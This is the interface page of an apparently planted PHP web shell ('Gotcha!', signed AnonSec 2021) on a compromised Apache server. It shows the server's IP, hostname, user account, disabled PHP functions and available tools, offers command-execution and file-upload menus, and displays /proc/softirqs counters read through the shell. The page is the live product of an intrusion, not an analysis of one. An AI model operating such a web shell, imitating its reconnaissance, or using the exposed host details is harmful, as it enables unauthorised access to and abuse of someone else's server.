Gotcha!
Server IP : 162.241.5.139  /  Your IP : 216.73.217.5
Web Server : Apache
System : Linux server.vda.uxz.mybluehostin.me 5.14.0-687.59.1.el9_8.x86_64 #1 SMP PREEMPT_DYNAMIC Wed Oct 21 06:02:14 EDT 2026 x86_64
User : dataincite ( 1006)
PHP Version : 8.2.35
Disable Function : exec,passthru,shell_exec,system
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF
Directory (0555) :  /../proc/

[  Home  ][  C0mmand  ][  Upload File  ]

Current File : //../proc/softirqs
                    CPU0       CPU1       CPU2       CPU3       CPU4       CPU5       CPU6       CPU7       CPU8       CPU9       CPU10      CPU11      CPU12      CPU13      CPU14      CPU15      
          HI:          0          0          0          0          0          0          1          0          0          0          0          0          1          0          0          0
       TIMER:   14335346   40467466   22313519   31904609   18974472   33345004   28370506   17294711   20764541   17021595   17416366   20451891  101339512   10679772   27487391   21821355
      NET_TX:          5          7          5         10          2          7          2         11          7          6          5         13          2          0          5          1
      NET_RX:   20089139   53731784   26739602   84402938   27035572  105285539   25781399   24769484   42521458   26453766   40290032   28346792   41926268   18762940   90946820  106588871
       BLOCK:    1087170    2002001    1857582    1443040    1160362    1213337    1196121    1140749    1241020    1037882     940571    1170217    1122384    1117728    1297447    1435267
    IRQ_POLL:          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0
     TASKLET:    5167225   13008537    3716951   23703527    7544806   29754877    7788837    6350381   10836786    7573623   14914456    8771354   14184996    4016483   23179012    3872868
       SCHED:   33877862   17092732   10937848   14774447    8896289   16603219    9783360    8134504   10401628    8002633    8191143   10829839   20315350    7013960   14335465   20628549
     HRTIMER:       1467       4642       2879       7346       1812      12068        939       1735       3203       1765       4398       2792       4564        641       5598        919
         RCU:   34980596   65058918   43908125   78698750   41043176   92465597   44739674   37677587   50285598   36445799   35979158   39390312   86309645   32380580   83589876  140048856

AnonSec - 2021